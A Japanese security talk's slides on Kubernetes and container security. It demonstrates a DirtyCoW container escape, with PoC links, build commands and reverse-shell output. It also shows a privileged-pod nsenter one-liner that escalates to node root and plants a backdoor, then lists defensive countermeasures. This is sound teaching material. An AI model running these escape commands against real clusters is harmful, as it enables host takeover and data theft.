攻撃しながら考えるKubernetesのセキュリティ / Considering Kubernetes Security While Attacking

Slide 1

Slide 1 text

Slide 2

Slide 2 text

Slide 3

Slide 3 text

Slide 4

Slide 4 text

Slide 5

Slide 5 text

© 2020 NTT DATA Corporation 5 今日のシナリオ • シナリオ1：コンテナ全般を対象としたセキュリティ – 攻撃者：内部犯行 – NW種別：隣接ネットワーク – テーマ：コンテナ全般におけるホストの特権への権限昇格 • シナリオ2：k8s固有のセキュリティ – 攻撃者：外部犯行 – NW種別：外部ネットワーク (インターネット越し) – テーマ：k8sにおけるNodeへの権限昇格

Slide 6

Slide 6 text

Slide 7

Slide 7 text

Slide 8

Slide 8 text

Slide 9

Slide 9 text

Slide 10

Slide 10 text

Slide 11

Slide 11 text

Slide 12

Slide 12 text

Slide 13

Slide 13 text

Slide 14

Slide 14 text

© 2020 NTT DATA Corporation 14 シナリオ1：防御側 • セキュリティは後回しで、塩漬け文化があり、 – 古いOS上の – 古いDockerで – 任意コード実行の脆弱性のある社内向けWebアプリを動かしている – ケーパビリティとseccompはデフォルトのまま有効化している • Webアプリ上に個人情報は存在しない • Webアプリには、サーバ室だけでなく、居室からでもアクセスでき、情報を社外に持ち出すための抜け道が存在する • コスト優先でマルチテナント構成をとっており、同じホスト上で別部門の管理する個人情報を含むシステムが動いている

Slide 15

Slide 15 text

© 2020 NTT DATA Corporation 15 (参考) シナリオ1：攻撃側 • 攻撃者種別：内部犯行者 • 攻撃対象：同一ホスト上の別部署の管理するシステムにある個人情報 • 攻撃手段：ホストと社内向けWebアプリに深刻な脆弱性があることを知っていて、自ら攻撃コードを探したり、ツールを実行できる • 攻撃目的：以前同担当に所属していて恨みがあり、個人情報の売買に興味がある • 前提条件：Webアプリの脆弱性をツールで突いてシェルを取った (コンテナのプロセスの権限で任意のコマンドを実行できる)

Slide 16

Slide 16 text

© 2020 NTT DATA Corporation 16 シナリオ1で扱う脆弱性 • CVE-2016-5195 (通称：DirtyCoW、極めて古く修正済) – 様々な種類のPoCがあり、できることが違う • https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs – コンテナエスケープ用のPoCではコンテナ内のユーザがホストの特権ユーザに昇格できる • すぐに試せるgeblさんの作った全部入りのコンテナ – https://github.com/gebl/dirtycow-docker-vdso • 上のコンテナの中身はscumjrさんの作った次のコードなので、コンテナの中でコードを取得しても試せる – https://github.com/scumjr/dirtycow-vdso

Slide 17

Slide 17 text

© 2020 NTT DATA Corporation 17 (参考) シナリオ1のホストの環境 # cat /etc/redhat-release CentOS Linux release 7.2.1511 (Core) # uname -a Linux localhost.localdomain 3.10.0-327.el7.x86_64 #1 SMP Thu Nov 19 22:10:57 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux # rpm -qa | grep docker docker-engine-1.13.1-1.el7.centos.x86_64 docker-engine-selinux-17.05.0.ce-1.el7.centos.noarch # getenforce Disabled

Slide 18

Slide 18 text

Slide 19

Slide 19 text

Slide 20

Slide 20 text

© 2020 NTT DATA Corporation 20 make root@a0572092623a:/# cd /dirtycow-vdso; make nasm -f bin -o payload payload.s xxd -i payload payload.h cc -o 0xdeadbeef.o -c 0xdeadbeef.c -Wall cc -o 0xdeadbeef 0xdeadbeef.o -lpthread

Slide 21

Slide 21 text

© 2020 NTT DATA Corporation 21 実行 root@a0572092623a:/dirtycow-vdso# ./0xdeadbeef 172.18.0.3:22 [*] payload target: 172.18.0.3:22 [*] exploit: patch 1/2 [*] vdso successfully backdoored [*] exploit: patch 2/2 [*] vdso successfully backdoored [*] waiting for reverse connect shell... [*] enjoy! [*] restore: patch 2/2 [*] vdso successfully restored [*] restore: patch 1/2 [*] vdso successfully restored

Slide 22

Slide 22 text

Slide 23

Slide 23 text

Slide 24

Slide 24 text

Slide 25

Slide 25 text

Slide 26

Slide 26 text

Slide 27

Slide 27 text

© 2020 NTT DATA Corporation 27 対策 • OS(Linuxカーネル)とコンテナランタイムを最新化する – OSやコンテナランタイムを最新に保つことでしか対応困難な脆弱性がある • セキュリティ機能は万能ではない – システムを構成する要素は脆弱性はツールを使うなどして即把握・即対処 • マルチテナント構成のリスクを考慮して採用可否を判断する – コンテナは、一般的な構成では、ホストと同じカーネルで動くプロセス – コンテナは、一般的にVMと比較すると他のコンテナやホストから影響を受けやすい → ただし、いまは様々な選択肢が提供されていて改善されつつある (本発表内ではこれらには言及しません)

Slide 28

Slide 28 text

© 2020 NTT DATA Corporation 28 • OS(Linuxカーネル)とコンテナランタイムを最新化する – OSやコンテナランタイムを最新に保つことでしか対応困難な脆弱性がある – バージョンアップ以外に対処がない脆弱性は騒ぎになりやすいので即対処 • マルチテナント構成のリスクを考慮して採用可否を判断する – コンテナは、一般的な構成では、ホストと同じカーネルで動くプロセス – コンテナは、一般的にVMと比較すると他のコンテナやホストから影響を受けやすい → ただし、いまは様々な選択肢が提供されていて改善されつつある (本発表内では詳細は言及しません) 対策コンテナのセキュリティを高める機能の話どこにいった！？

Slide 29

Slide 29 text

© 2020 NTT DATA Corporation 29 ケーパビリティとseccompは攻撃可能な面を減らす • ケーパビリティ – root権限を目的別に約 30 個に分割した特権機能群 – 必要に応じて付与 / 剥奪 (デフォルトから剥奪も検討) • seccomp – プロセスが利用できるシステムコールを制限できる – コンテナでは、コンテナ内のプロセスが実行するシステムコールを制限できる – 定義したシステムコールが呼ばれたときの制御を、許可、拒否、終了などのアクションから選択でき、種類だけでなく、引数との組み合わせも定義可能 – 任意のコマンドが実行されたとしても、影響範囲を最小限に抑えることが可能多層防御の考えのもと重ね掛けを基本として、要件や粒度に応じて使い分けるでもケーパビリティは最小権限にすべきかなぁセキュリティ実践ガイドに詳細が書いてある

Slide 30

Slide 30 text

© 2020 NTT DATA Corporation 30 (参考) k8s v1.19 から seccomp が使える apiVersion: v1 kind: Pod metadata: name: sample-capabilities spec: containers: - name: tools-container image: amsy810/tools:v2.0 securityContext: capabilities: add: ["SYS_ADMIN"] drop: ["AUDIT_WRITE"] apiVersion: v1 kind: Pod metadata: name: audit-pod labels: app: audit-pod spec: securityContext: seccompProfile: type: Localhost localhostProfile: profiles/audit.json containers: - name: test-container image: hashicorp/http-echo:0.2.3 args: - "-text=just made some syscalls!" securityContext: allowPrivilegeEscalation: false 引用元：完全ガイドサンプルリポジトリ、および、Kubernetes.io の “Restrict a Container’s Syscalls with Seccomp” のページのサンプルより引用 seccomp ケーパビリティ

Slide 31

Slide 31 text

Slide 32

Slide 32 text

Slide 33

Slide 33 text

© 2020 NTT DATA Corporation 33 シナリオ2：防御側 • セキュリティは後回しで、塩漬け文化があり、 – クラウドベンダのマネージドk8s上に – セキュリティ脆弱性がよく話題になるCMSをデプロイした – CMSには後日深刻な脆弱性が見つかったが対処していない – CMSはインターネットに公開されている • CMSは付き合いのあるお客様向けの情報発信に使っているものの、重要度は低く、CMS上には公開情報以外載せていない • コスト優先でマルチテナント構成をとっており、同じNode上に別部門の管理する個人情報を含むシステムが動いている

Slide 34

Slide 34 text

© 2020 NTT DATA Corporation 34 (参考) シナリオ2：攻撃側 • 攻撃者種別：スクリプトキディ • 攻撃対象：無差別 (クラウドベンダの利用するIPアドレスレンジを中心に、 IPアドレスを自動スキャンするツールを使うことで脆弱性のあるIPアドレスに対して無差別に攻撃) • 攻撃手段：既知脆弱性を悪用するツールを用いるのみで高度な技術なし • 攻撃目的：お金 (マイニングと個人情報売買) • 前提条件：CMSの脆弱性をツールで突いてシェルを取った (コンテナのプロセスの権限で任意のコマンドを実行できる)

Slide 35

Slide 35 text

© 2020 NTT DATA Corporation 35 わたしは誰だ… ここはどこだ…… $ id uid=1000(cms) gid=1000(cms) groups=1000(cms) $ ps -ef UID PID PPID C STIME TTY TIME CMD cms+ 1 0 0 13:11 ? 00:00:00 /usr/bin/dumb- init /usr/local/sbin/entrypoint.sh cms+ 7 1 0 13:11 ? 00:00:00 node /cms/app cms+ 18 7 0 14:11 pts/0 00:00:00 /bin/bash cms+ 25 18 0 14:47 pts/0 00:00:00 ps -ef $ df -h (省略) tmpfs 3.7G 12K 3.7G 1% /run/secrets/kubernetes.io/serviceaccount (省略)

Slide 36

Slide 36 text

Slide 37

Slide 37 text

© 2020 NTT DATA Corporation 37 ほう kubeですかたいしたものですね $ cd /tmp; curl -Lo amicontained https://github.com/genuinetools/amicontained/releases/download/v0.4.9/a micontained-linux-amd64; chmod 755 amicontained; ./amicontained (省略) Container Runtime: kube Has Namespaces: pid: true user: false AppArmor Profile: docker-default (enforce) Capabilities: BOUNDING - > chown dac_override fowner fsetid kill setgid setuid setpcapnet_bind_service net_raw sys_chroot mknod a udit_write setfcap Seccomp: disabled Blocked Syscalls (29): SYSLOG SETUID SETGID SETSID SETREUID SETREGID SETGROUPS SETRESUID SETRESGID VHANGUP PIVOT_ROOT A CCT SETTIMEOFDAY UMOUNT2 SWAPON SWAPOFF REBOOT SETHOSTNAME SETDOMAINNAME INIT_MODULE DELETE_MODULE LOOKU P_DCOOKIE FUTIMESAT UTIMENSAT FANOTIFY_INIT OPEN_BY_HANDLE_AT FINIT_MODULE KEXEC_FILE_LOAD BPF Looking for Docker.sock

Slide 38

Slide 38 text

© 2020 NTT DATA Corporation 38 環境変数を見てみる $ env | grep -i kube KUBERNETES_PORT_443_TCP_PROTO=tcp KUBERNETES_PORT_443_TCP_ADDR=10.100.0.1 KUBERNETES_PORT=tcp://10.100.0.1:443 KUBERNETES_SERVICE_PORT_HTTPS=443 KUBERNETES_PORT_443_TCP_PORT=443 KUBERNETES_PORT_443_TCP=tcp://10.100.0.1:443 KUBERNETES_SERVICE_PORT=443 KUBERNETES_SERVICE_HOST=10.100.0.1

Slide 39

Slide 39 text

© 2020 NTT DATA Corporation 39 k8sのバージョンを見てみる $ curl -k https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}/version { "major": "1", "minor": "15+", "gitVersion": "v1.15.12-■■■■■■■■", "gitCommit": "■■■■■■■■■■■■■■■■■■", "gitTreeState": "clean", "buildDate": "2020-06-01■■■■■■■■", "goVersion": "go1.12.17b4", "compiler": "gc", "platform": "linux/amd64" }

Slide 40

Slide 40 text

© 2020 NTT DATA Corporation 40 kubectlしてみる $ export PATH=/tmp:$PATH $ cd /tmp; curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.15 .12/bin/linux/amd64/kubectl; chmod 755 kubectl $ kubectl get namespaces Error from server (Forbidden): namespaces is forbidden: User "system:serviceaccount :prd:default" cannot list resource "namespaces" in API group "" at the cluster scop e

Slide 41

Slide 41 text

Slide 42

Slide 42 text

Slide 43

Slide 43 text

© 2020 NTT DATA Corporation 43 Nodeに権限昇格してバックドアを作成 $ kubectl run r00tc0ntainer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command": ["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,“ securityContext":{"privileged":true}}]}}’ r00tc0ntainer / # r00tc0ntainer / # docker run -d backd00r Nodeの特権になったあとは個人情報を探そう (省略) バックドア作成した

Slide 44

Slide 44 text

© 2020 NTT DATA Corporation 44 なにをされたのか • アプリケーションの脆弱性を悪用されてシェルを取られた (任意コード実行可能だった) • Service Accountを悪用されて、k8sにマイニング用のPodを建てられた • Service Accountを悪用されて、k8sにホストのroot権限を持つコンテナを建てられた (権限昇格) – そしてバックドアを仕込まれた • (今日のデモ内では攻撃されなかったが) 攻撃者が同じNode上の他のコンテナに入っている個人情報にアクセス可能になった

Slide 45

Slide 45 text

© 2020 NTT DATA Corporation 45 なぜ攻撃が成立したか • コンテナとして動かしていたアプリケーションに任意のコード実行の脆弱性があった • k8sの各種機能が適切に設定されていなかった – Service Accountが最小権限に設定されていなかった – コンテナ内でできることが限定されていなかった – 特権コンテナが禁止されていなかった – あらかじめ許可されていないコンテナが起動できた • 脆弱なコンテナがマルチテナント構成の同一ホスト上あった

Slide 46

Slide 46 text

Slide 47

Slide 47 text

© 2020 NTT DATA Corporation 47 対策 • (今回は悪用されなかったが) Kubernetesは最新化 • k8sの各種機能を適切に設定してセキュリティを高める – Service Accountは最小権限 – コンテナ内でできることは限定する – 特権コンテナはなるべく禁止 – 信頼できるコンテナのみが起動できるようにする • マルチテナントにする際はリスクを考慮してセキュリティ徹底

Slide 48

Slide 48 text

© 2020 NTT DATA Corporation 48 デモ2に有効と考えるベストプラクティス • アプリの脆弱性を是正 – CI/CDの仕組みのなかに脆弱性診断を導入 – 環境変数暗号化 • Service Accountは最小権限 • コンテナ内でできることを限定 – コンテナ内で ps や curl などのできないコンテナイメージの採用 – 書き込みが不要なコンテナであればリードオンリー • PodSecurityPolicy設定 – (特別な理由がない限り) 特権コンテナ基本禁止 – 最小権限を徹底してコンテナ作成などの不要な権限を与えない • あらかじめ許可された信頼できるコンテナのみに起動を許可 – Binary Authorization導入重要！

Slide 49

Slide 49 text

© 2020 NTT DATA Corporation 49 個人的ベストプラクティスの一部 (前ページ掲載除く) • メタデータアクセス制御 (169.254.169.254 アクセス禁止) • Namespaceは専門知識を持った人が対応 • RBACも専門知識を持った人が対応 • 必要な通信のみを許可 • 不要ならホストのボリュームをマウントしない • 徹底的にIaCで自動化 • 高いセキュリティレベルが求められるならクラスタ分割 • 悪意を即検知して通知/是正するセキュリティの仕組みの導入重要！

Slide 50

Slide 50 text

Slide 51

Slide 51 text

Slide 52

Slide 52 text

© 2020 NTT DATA Corporation 52 Reference • 書籍：Docker/Kubernetes開発・運用のためのセキュリティ実践ガイド • 書籍：Kubernetes Security • 書籍：Container Security • KubeCon NA 2019 CTF： https://securekubernetes.com/ • Kubernetes Security for Microservices： https://speakerdeck.com/rung/kubernetes-security-for-microservices/ • Threat matrix for Kubernetes： https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/ • NIST SP800-190 Application Container Security Guide： https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-190.pdf • CIS Benchmark原本： https://www.cisecurity.org/benchmark/kubernetes/ • CIS Benchmark GKE版： https://www.cisecurity.org/cis-benchmarks/ • CIS Benchmark EKS版： https://aws.amazon.com/jp/blogs/containers/introducing-cis-amazon-eks-benchmark/

Slide 53

Slide 53 text

© 2020 NTT DATA Corporation 53 (参考) これからやりたい (願望) • 高度な応用 (技術を組み合わせる) (今日の発表とあまり関係ない) – Kubernetesを活用する組織のアプリ開発とファジング技術を組み合わせたセキュリティ向上 – Kubernetesと関連コンポーネント自体のファジング • シナリオ2の攻撃内容高度化と資料化 – シナリオ2改：クラウドベンダのメタデータからクレデンシャル取得 – シナリオ2改改：Kubernetesと関連コンポーネントの脆弱性を突く – シナリオ2改改改：Kubernetesと関連コンポーネントの未発見の脆弱性を探す • セルフハンズオン化と展開 – シナリオ2 – シナリオ2改 – シナリオ2改改

Slide 54

Slide 54 text

© 2020 NTT DATA Corporation 54 (参考) 早期警戒して即対応したい脆弱性 • 個人の見解として、エンタープライズ領域で特に注意している脆弱性は、デフォルト設定で無条件に攻撃が成立するもの、かつ、次の脆弱性 – Remote Code Execution (RCE)：遠隔から任意のコードを実行する攻撃手法、または、脆弱性 • 公開しているサービス自体、または、関連コンポーネントにインターネット越しでこの脆弱性があると他の攻撃に繋がりやすい – Privilege Escalation：権限昇格する攻撃手法、または、脆弱性 • OS(Linuxカーネル)やコンテナランタイムにこれがあると致命的 – Server Side Request Forgery (SSRF)：直接到達できない内部サーバなどに対して公開サーバの不具合を悪用することで任意のリクエストを送りつける攻撃手法、または、脆弱性 • 某金融機関のクレデンシャル取得で有名で、権限昇格なしで深刻な情報漏えいにつながる可能性あり

Slide 55

Slide 55 text

© 2020 NTT DATA Corporation 55 (参考) コンテナに関わる脆弱性一部抜粋その1 • runc – CVE-2016-3697 – CVE-2016-9962 – CVE-2019-5736 • Dockerデーモン – Shocker (CVE番号なし) – CVE-2014-9357 – CVE-2018-15664 – CVE-2019-14271 • Linuxカーネル – CVE-2016-5195 – CVE-2017-5123 詳細は2章参照。脆弱性の内容と対策を理解しよう！

Slide 56

Slide 56 text

© 2020 NTT DATA Corporation 56 (参考) コンテナに関わる脆弱性一部抜粋その2 • kube-apiserver – CVE-2018-1002105 – CVE-2019-11247 • kubelet – CVE-2017-1002101 – CVE-2017-1002102 – CVE-2019-11245 • kubectl – CVE-2019-1002101 – CVE-2019-11246 – CVE-2019-11249 • Kubernetes Dashboard – CVE-2018-18264 詳細は2章参照。脆弱性の内容と対策を理解しよう！